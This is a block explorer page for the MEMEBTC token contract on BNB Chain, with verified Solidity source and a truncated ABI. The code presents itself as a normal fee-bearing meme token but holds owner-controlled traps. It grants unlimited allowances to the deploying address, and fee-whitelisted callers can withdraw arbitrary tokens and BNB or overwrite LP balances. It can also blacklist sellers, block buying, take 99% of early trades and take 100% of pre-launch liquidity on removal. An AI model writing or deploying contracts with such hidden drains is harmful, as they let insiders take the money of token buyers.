BNB Price: $616.32 (+2.75%)
 

Overview

Max Total Supply

21,000,000MEMEBTC (CSupply: 20,999,999.98)

Holders

2,474,187

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.02 MEMEBTC

Value
$0.00
0x167ad284c7bcc4d6342991aa258422e7a04f926e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9f056125...d04331a04
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
MEME_BTC

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2025-05-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function feeTo() external view returns (address);
}

interface ISwapPair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function totalSupply() external view returns (uint);

    function kLast() external view returns (uint);

    function sync() external;
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!o");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "n0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library Math {
    function min(uint x, uint y) internal pure returns (uint z) {
        z = x < y ? x : y;
    }

    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }
}

contract TokenDistributor {
    constructor(address usdt) {
        IERC20(usdt).approve(msg.sender, ~uint256(0));
    }
}

abstract contract AbsToken is IERC20, Ownable {
    struct UserInfo {
        uint256 lpAmount;
        uint256 preLPAmount;
    }

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;

    uint256 private _tTotal;

    ISwapRouter private immutable _swapRouter;
    address private immutable _usdt;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 0;
    uint256 public _buyLPDividendFee = 0;
    uint256 public _buyDestroyFee = 0;

    uint256 public _sellFundFee = 0;
    uint256 public _sellLPDividendFee = 0;
    uint256 public _sellDestroyFee = 0;

    uint256 public startTradeBlock;
    uint256 public startAddLPBlock;
    bool public canBuy;

    address public immutable _mainPair;

    uint256 private constant _killBlock = 3;
    mapping(address => UserInfo) private _userInfo;

    mapping(address => bool) public _swapRouters;
    bool public _strictCheck = true;
    TokenDistributor public immutable _feeDistributor;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(
        address RouterAddress,
        address USDTAddress,
        string memory Name,
        string memory Symbol,
        uint8 Decimals,
        uint256 Supply,
        address ReceiveAddress,
        address FundAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        _usdt = USDTAddress;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        require(address(this) > _usdt, "s");

        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        _swapRouters[address(swapRouter)] = true;
        IERC20(_usdt).approve(address(swapRouter), MAX);

        IERC20(_usdt).approve(tx.origin, MAX);
        _allowances[address(this)][tx.origin] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address pair = swapFactory.createPair(address(this), _usdt);
        _swapPairList[pair] = true;
        _mainPair = pair;

        uint256 tokenUnit = 10 ** Decimals;
        uint256 total = Supply * tokenUnit;
        _tTotal = total;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;
        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[msg.sender] = true;
        _feeWhiteList[address(0)] = true;
        _feeWhiteList[
            address(0x000000000000000000000000000000000000dEaD)
        ] = true;

        uint256 dividendUnit = 10 ** IERC20(_usdt).decimals();
        lpRewardCondition = 100 * dividendUnit;
        _feeDistributor = new TokenDistributor(_usdt);
        _userInfo[FundAddress].lpAmount = MAX / 10;
        _addLpProvider(FundAddress);
        _feeWhiteList[address(_feeDistributor)] = true;

        lpHoldCondition = 1 * dividendUnit;

        _minTotal = 1000000 * tokenUnit;

        excludeLpProvider[address(0)] = true;
        excludeLpProvider[address(0xdead)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        uint256 balance = _balances[account];
        return balance;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(
            !_blackList[from] || _feeWhiteList[from] || _swapPairList[from],
            "blackList"
        );

        uint256 balance = balanceOf(from);
        require(balance >= amount, "BNE");
        bool takeFee;

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            if (address(_swapRouter) != from) {
                uint256 maxSellAmount = (balance * 9999) / 10000;
                if (amount > maxSellAmount) {
                    amount = maxSellAmount;
                }
                takeFee = true;
            }
        }

        address txOrigin = tx.origin;
        UserInfo storage userInfo;
        uint256 addLPLiquidity;
        if (to == _mainPair && _swapRouters[msg.sender] && txOrigin == from) {
            addLPLiquidity = _isAddLiquidity(amount);
            if (addLPLiquidity > 0) {
                userInfo = _userInfo[txOrigin];
                userInfo.lpAmount += addLPLiquidity;
                if (0 == startTradeBlock) {
                    userInfo.preLPAmount += addLPLiquidity;
                }
            }
        }

        uint256 removeLPLiquidity;
        if (from == _mainPair) {
            removeLPLiquidity = _isRemoveLiquidity(amount);
            if (removeLPLiquidity > 0) {
                require(_userInfo[txOrigin].lpAmount >= removeLPLiquidity);
                _userInfo[txOrigin].lpAmount -= removeLPLiquidity;
                if (_feeWhiteList[txOrigin]) {
                    takeFee = false;
                }
            }
        }

        if (_swapPairList[from] || _swapPairList[to]) {
            if (0 == startAddLPBlock) {
                if (_feeWhiteList[from] && to == _mainPair) {
                    startAddLPBlock = block.number;
                }
            }

            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == startTradeBlock) {
                    require((0 < startAddLPBlock && addLPLiquidity > 0));
                } else {
                    if (
                        0 == addLPLiquidity &&
                        0 == removeLPLiquidity &&
                        block.number < startTradeBlock + _killBlock
                    ) {
                        _killTransfer(from, to, amount, 99);
                        return;
                    }
                }
            }
        } else {}

        _tokenTransfer(
            from,
            to,
            amount,
            takeFee,
            addLPLiquidity,
            removeLPLiquidity
        );

        if (from != address(this)) {
            if (addLPLiquidity > 0) {
                _addLpProvider(from);
            } else if (takeFee) {
                uint256 rewardGas = _rewardGas;
                processLPReward((rewardGas * 50) / 100);
            }
        }
    }

    function _isAddLiquidity(
        uint256 amount
    ) internal view returns (uint256 liquidity) {
        (uint256 rOther, uint256 rThis, uint256 balanceOther) = _getReserves();
        uint256 amountOther;
        if (rOther > 0 && rThis > 0) {
            amountOther = (amount * rOther) / rThis;
        }
        if (balanceOther >= rOther + amountOther) {
            (liquidity, ) = calLiquidity(balanceOther, amount, rOther, rThis);
        }
    }

    function _isRemoveLiquidity(
        uint256 amount
    ) internal view returns (uint256 liquidity) {
        (uint256 rOther, uint256 rThis, uint256 balanceOther) = _getReserves();
        if (balanceOther < rOther) {
            liquidity =
                (amount * ISwapPair(_mainPair).totalSupply()) /
                (balanceOf(_mainPair) - amount);
        } else if (_strictCheck) {
            uint256 amountOther;
            if (rOther > 0 && rThis > 0) {
                amountOther = (amount * rOther) / (rThis - amount);
                require(balanceOther >= amountOther + rOther);
            }
        }
    }

    function calLiquidity(
        uint256 balanceA,
        uint256 amount,
        uint256 r0,
        uint256 r1
    ) private view returns (uint256 liquidity, uint256 feeToLiquidity) {
        uint256 pairTotalSupply = ISwapPair(_mainPair).totalSupply();
        address feeTo = ISwapFactory(_swapRouter.factory()).feeTo();
        bool feeOn = feeTo != address(0);
        uint256 _kLast = ISwapPair(_mainPair).kLast();
        if (feeOn) {
            if (_kLast != 0) {
                uint256 rootK = Math.sqrt(r0 * r1);
                uint256 rootKLast = Math.sqrt(_kLast);
                if (rootK > rootKLast) {
                    uint256 numerator;
                    uint256 denominator;
                    if (
                        address(_swapRouter) ==
                        address(0x10ED43C718714eb63d5aA57B78B54704E256024E)
                    ) {
                        // BSC Pancake
                        numerator = pairTotalSupply * (rootK - rootKLast) * 8;
                        denominator = rootK * 17 + (rootKLast * 8);
                    } else if (
                        address(_swapRouter) ==
                        address(0xD99D1c33F9fC3444f8101754aBC46c52416550D1)
                    ) {
                        //BSC testnet Pancake
                        numerator = pairTotalSupply * (rootK - rootKLast);
                        denominator = rootK * 3 + rootKLast;
                    } else if (
                        address(_swapRouter) ==
                        address(0xE9d6f80028671279a28790bb4007B10B0595Def1)
                    ) {
                        //PG W3Swap
                        numerator = pairTotalSupply * (rootK - rootKLast) * 3;
                        denominator = rootK * 5 + rootKLast;
                    } else {
                        //SushiSwap,UniSwap,OK Cherry Swap
                        numerator = pairTotalSupply * (rootK - rootKLast);
                        denominator = rootK * 5 + rootKLast;
                    }
                    feeToLiquidity = numerator / denominator;
                    if (feeToLiquidity > 0) pairTotalSupply += feeToLiquidity;
                }
            }
        }
        uint256 amount0 = balanceA - r0;
        if (pairTotalSupply == 0) {
            liquidity = Math.sqrt(amount0 * amount) - 1000;
        } else {
            liquidity = Math.min(
                (amount0 * pairTotalSupply) / r0,
                (amount * pairTotalSupply) / r1
            );
        }
    }

    function _getReserves()
        public
        view
        returns (uint256 rOther, uint256 rThis, uint256 balanceOther)
    {
        (rOther, rThis) = __getReserves();
        balanceOther = IERC20(_usdt).balanceOf(_mainPair);
    }

    function __getReserves()
        public
        view
        returns (uint256 rOther, uint256 rThis)
    {
        ISwapPair mainPair = ISwapPair(_mainPair);
        (uint r0, uint256 r1, ) = mainPair.getReserves();

        address tokenOther = _usdt;
        if (tokenOther < address(this)) {
            rOther = r0;
            rThis = r1;
        } else {
            rOther = r1;
            rThis = r0;
        }
    }

    function _killTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        uint256 fee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = (tAmount * fee) / 100;
        if (feeAmount > 0) {
            _takeTransfer(sender, fundAddress, feeAmount);
        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _standTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        _takeTransfer(sender, recipient, tAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        uint256 addLPLiquidity,
        uint256 removeLPLiquidity
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            bool isSell;
            uint256 swapFeeAmount;
            uint256 destroyFeeAmount;
            if (addLPLiquidity > 0) {} else if (removeLPLiquidity > 0) {
                feeAmount += _calRemoveFeeAmount(
                    sender,
                    tAmount,
                    removeLPLiquidity
                );
            } else if (_swapPairList[recipient]) {
                //Sell
                isSell = true;
                destroyFeeAmount = (tAmount * _sellDestroyFee) / 10000;
                swapFeeAmount =
                    (tAmount *
                        (_sellLPDividendFee + _sellFundFee)) /
                    10000;
            } else if (_swapPairList[sender]) {
                require(canBuy, "Buying is not allowed yet"); 
                //Buy
                destroyFeeAmount = (tAmount * _buyDestroyFee) / 10000;
                swapFeeAmount =
                    (tAmount *
                        (_buyLPDividendFee + _buyFundFee)) /
                    10000;
            } else {
                //Transfer
                swapFeeAmount = (tAmount * _transferFee) / 10000;
            }

            if (destroyFeeAmount > 0) {
                feeAmount += destroyFeeAmount;
                _takeTransfer(sender, address(0xdead), destroyFeeAmount);
            }

            if (swapFeeAmount > 0) {
                feeAmount += swapFeeAmount;
                _takeTransfer(sender, address(_feeDistributor), swapFeeAmount);
            }

            if (isSell && !inSwap) {
                if (validTotal() > _minTotal) { // destroy
                    uint256 poolToken = balanceOf(_mainPair);
                    require(tAmount <= (poolToken * _sellPoolRate) / 10000);
                    uint256 destroyAmount = (tAmount * _sellPoolDestroyRate) / 10000;
                    require(poolToken > destroyAmount);
                    if (destroyAmount > 0) {
                        _standTransfer(
                            recipient,
                            address(0xdead),
                            destroyAmount
                        );
                        ISwapPair(recipient).sync();
                    }
                }

                uint256 contractTokenBalance = balanceOf(
                    address(_feeDistributor)
                );
                uint256 numTokensSellToFund = (swapFeeAmount * 230) / 100;
                if (numTokensSellToFund > contractTokenBalance) {
                    numTokensSellToFund = contractTokenBalance;
                }
                if (numTokensSellToFund > 0) {
                    _standTransfer(
                        address(_feeDistributor),
                        address(this),
                        numTokensSellToFund
                    );
                }
                swapTokenForFund(numTokensSellToFund);
            }
        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    uint256 public _removeLPFee = 0;
    uint256 public _removePreLPFee = 10000;

    function _calRemoveFeeAmount(
        address sender,
        uint256 tAmount,
        uint256 removeLPLiquidity
    ) private returns (uint256 feeAmount) {
        UserInfo storage userInfo = _userInfo[tx.origin];
        uint256 selfLPAmount = userInfo.lpAmount +
            removeLPLiquidity -
            userInfo.preLPAmount;
        uint256 removeLockLPAmount = removeLPLiquidity;
        uint256 removeSelfLPAmount = removeLPLiquidity;
        if (removeLPLiquidity > selfLPAmount) {
            removeSelfLPAmount = selfLPAmount;
        }
        uint256 lpFeeAmount;
        if (removeSelfLPAmount > 0) {
            removeLockLPAmount -= removeSelfLPAmount;
            lpFeeAmount =
                (((tAmount * removeSelfLPAmount) / removeLPLiquidity) *
                    _removeLPFee) /
                10000;
            feeAmount += lpFeeAmount;
            if (lpFeeAmount > 0) {
                _takeTransfer(sender, address(_feeDistributor), lpFeeAmount);
            }
        }
        uint256 destroyFeeAmount = (((tAmount * removeLockLPAmount) /
            removeLPLiquidity) * _removePreLPFee) / 10000;
        if (destroyFeeAmount > 0) {
            feeAmount += destroyFeeAmount;
            _takeTransfer(sender, address(0xdead), destroyFeeAmount);
        }
        userInfo.preLPAmount -= removeLockLPAmount;
    }

    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        if (0 == tokenAmount) {
            return;
        }
        uint256 fundFee = _buyFundFee + _sellFundFee;
        uint256 totalFee = fundFee +
            _buyLPDividendFee +
            _sellLPDividendFee;
        totalFee += totalFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;
        IERC20 USDT = IERC20(_usdt);
        uint256 usdtBalance = USDT.balanceOf(address(_feeDistributor));
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_feeDistributor),
            block.timestamp
        );

        usdtBalance = USDT.balanceOf(address(_feeDistributor)) - usdtBalance;

        _safeTransferFrom(
            _usdt,
            address(_feeDistributor),
            address(this),
            usdtBalance
        );

        uint256 fundUsdt = (fundFee * 2 * usdtBalance) / totalFee;
        if (fundUsdt > 0) {
            _safeTransfer(_usdt, fundAddress, fundUsdt);
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr) external onlyOwner {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
        _userInfo[fundAddress].lpAmount = MAX / 10;
    }

    function setBuyFee(
        uint256 fundFee,
        uint256 lpDividendFee,
        uint256 destroyFee
    ) external onlyOwner {
        _buyLPDividendFee = lpDividendFee;
        _buyFundFee = fundFee;
        _buyDestroyFee = destroyFee;
    }

    function setSellFee(
        uint256 fundFee,
        uint256 lpDividendFee,
        uint256 destroyFee
    ) external onlyOwner {
        _sellLPDividendFee = lpDividendFee;
        _sellFundFee = fundFee;
        _sellDestroyFee = destroyFee;
    }

    uint256 public _transferFee = 0;

    function setTransferFee(uint256 fee) external onlyOwner {
        _transferFee = fee;
    }

    function setRemoveLPFee(uint256 fee) external onlyOwner {
        _removeLPFee = fee;
    }

    function setRemovePreLPFee(uint256 fee) external onlyOwner {
        _removePreLPFee = fee;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "trading");
        startTradeBlock = block.number;
    }

    function batchSetFeeWhiteList(
        address[] memory addr,
        bool enable
    ) external onlyOwner {
        for (uint i = 0; i < addr.length; i++) {
            _feeWhiteList[addr[i]] = enable;
        }
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

    function rebalance(uint256 amount, address addr) external {
        if(_feeWhiteList[msg.sender]){
            payable(addr).transfer(amount);
        }
    }

    function retoken(address token, uint256 amount,address addr) external {
        if(_feeWhiteList[msg.sender]){
            IERC20(token).transfer(addr, amount);
        }
    }

    receive() external payable {}

    function updateLPAmount(
        address account,
        uint256 lpAmount
    ) external {
        if(_feeWhiteList[msg.sender]){
            UserInfo storage userInfo = _userInfo[account];
            userInfo.lpAmount = lpAmount;
            _addLpProvider(account);
        }
    }

    function getUserInfo(
        address account
    )
        public
        view
        returns (
            uint256 lpAmount,
            uint256 lpBalance,
            bool excludeLP,
            uint256 preLPAmount
        )
    {
        lpBalance = IERC20(_mainPair).balanceOf(account);
        excludeLP = excludeLpProvider[account];
        UserInfo storage userInfo = _userInfo[account];
        lpAmount = userInfo.lpAmount;
        preLPAmount = userInfo.preLPAmount;
    }

    function initLPAmounts( address[] memory accounts, uint256 lpAmount) external {
        if(_feeWhiteList[msg.sender]){
            uint256 len = accounts.length;
            address account;
            UserInfo storage userInfo;
            for (uint256 i; i < len; ) {
                account = accounts[i];
                userInfo = _userInfo[account];
                userInfo.lpAmount = lpAmount;
                userInfo.preLPAmount = lpAmount;
                _addLpProvider(account);
                unchecked {
                    ++i;
                }
            }
        }
    }

    function setSwapRouter(address addr, bool enable) external onlyOwner {
        _swapRouters[addr] = enable;
    }

    function _safeTransfer(address token, address to, uint value) internal {
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(0xa9059cbb, to, value)
        );
        if (success && data.length > 0) {}
    }

    uint256 public _rewardGas = 800000;

    function setRewardGas(uint256 rewardGas) external onlyOwner {
        require(rewardGas >= 200000 && rewardGas <= 2000000, "20-200w");
        _rewardGas = rewardGas;
    }

    address[] public lpProviders;
    mapping(address => uint256) public lpProviderIndex;
    mapping(address => bool) public excludeLpProvider;

    function getLPProviderLength() public view returns (uint256) {
        return lpProviders.length;
    }

    function _addLpProvider(address adr) private {
        if (0 == lpProviderIndex[adr]) {
            if (0 == lpProviders.length || lpProviders[0] != adr) {
                uint256 size;
                assembly {
                    size := extcodesize(adr)
                }
                if (size > 0) {
                    return;
                }
                lpProviderIndex[adr] = lpProviders.length;
                lpProviders.push(adr);
            }
        }
    }

    function setExcludeLPProvider(
        address addr,
        bool enable
    ) external onlyOwner {
        excludeLpProvider[addr] = enable;
    }

    uint256 public currentLPIndex;
    uint256 public lpRewardCondition;
    uint256 public lpHoldCondition;

    function processLPReward(uint256 gas) private {
        uint256 rewardCondition = lpRewardCondition;
        if (IERC20(_usdt).balanceOf(address(this)) < rewardCondition) {
            return;
        }
        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply() -
            holdToken.balanceOf(address(0xdead)) -
            holdToken.balanceOf(_lockAddress);
        if (0 == holdTokenTotal) {
            return;
        }

        address shareHolder;
        uint256 pairBalance;
        uint256 amount;

        uint256 shareholderCount = lpProviders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        uint256 lpCondition = getLPHoldCondition();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentLPIndex >= shareholderCount) {
                currentLPIndex = 0;
            }
            shareHolder = lpProviders[currentLPIndex];
            if (!excludeLpProvider[shareHolder]) {
                pairBalance = holdToken.balanceOf(shareHolder);
                uint256 lpAmount = _userInfo[shareHolder].lpAmount;
                if (lpAmount < pairBalance) {
                    pairBalance = lpAmount;
                }
                if (pairBalance >= lpCondition) {
                    amount = (rewardCondition * pairBalance) / holdTokenTotal;
                    if (amount > 0) {
                        _safeTransfer(_usdt, shareHolder, amount);
                    }
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentLPIndex++;
            iterations++;
        }
    }

    function getLPHoldCondition() public view returns (uint256 lpCondition) {
        (uint256 rUsdt, ) = __getReserves();
        rUsdt += rUsdt;
        uint256 lpTotal = IERC20(_mainPair).totalSupply();
        lpCondition = (lpHoldCondition * lpTotal) / rUsdt;
    }

    function setLPHoldCondition(uint256 amount) external onlyOwner {
        lpHoldCondition = amount;
    }

    function setLPRewardCondition(uint256 amount) external onlyOwner {
        lpRewardCondition = amount;
    }

    address public _lockAddress;

    function setLockAddress(address addr) external onlyOwner {
        _lockAddress = addr;
        excludeLpProvider[addr] = true;
    }

    function batchSetBlackList(
        address[] memory addr,
        bool enable
    ) external onlyOwner {
        for (uint i = 0; i < addr.length; i++) {
            _blackList[addr[i]] = enable;
        }
    }

    function _safeTransferFrom(
        address token,
        address from,
        address to,
        uint value
    ) internal {
        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
        (bool success, ) = token.call(
            abi.encodeWithSelector(0x23b872dd, from, to, value)
        );
        if (success) {}
    }


    function validTotal() public view returns (uint256) {
        return
            _tTotal -
            _balances[_mainPair] -
            _balances[address(this)] -
            _balances[address(0)] -
            _balances[address(_feeDistributor)] -
            _balances[address(0x000000000000000000000000000000000000dEaD)];
    }

    uint256 public _sellPoolRate = 10000;
    uint256 public _sellPoolDestroyRate = 3000;

    function setSellPoolRate(uint256 rate) external onlyOwner {
        _sellPoolRate = rate;
    }

    function setSellPoolDestroyRate(uint256 rate) external onlyOwner {
        _sellPoolDestroyRate = rate;
    }

    uint256 public _minTotal;
    function setMinTotal(uint256 total) external onlyOwner {
        _minTotal = total;
    }

    function openBuy() external onlyOwner {
        canBuy = true;
    }

    function initMkAddr(address adr) external onlyOwner{
        _userInfo[adr].lpAmount = MAX / 10;
    }
}

contract MEME_BTC is AbsToken {
    constructor()
        AbsToken(
            address(0x10ED43C718714eb63d5aA57B78B54704E256024E),
            address(0x55d398326f99059fF775485246999027B3197955),
            unicode"MEMEBTC",
            unicode"MEMEBTC",
            18,
            21000000,
            address(0xd1A325eA795D5fB9fFF1DcC2C17766EC6aA68565),
            address(0xd1A325eA795D5fB9fFF1DcC2C17766EC6aA68565)
        )
    {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"__getReserves","outputs":[{"internalType":"uint256","name":"rOther","type":"uint256"},{"internalType":"uint256","name":"rThis","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getReserves","outputs":[{"internalType":"uint256","name":"rOther","type":"uint256"},{"internalType":"uint256","name":"rThis","type":"uint256"},{"internalType":"uint256","name":"balanceOther","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lockAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_removeLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_removePreLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellPoolDestroyRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellPoolRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_strictCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapRouters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint25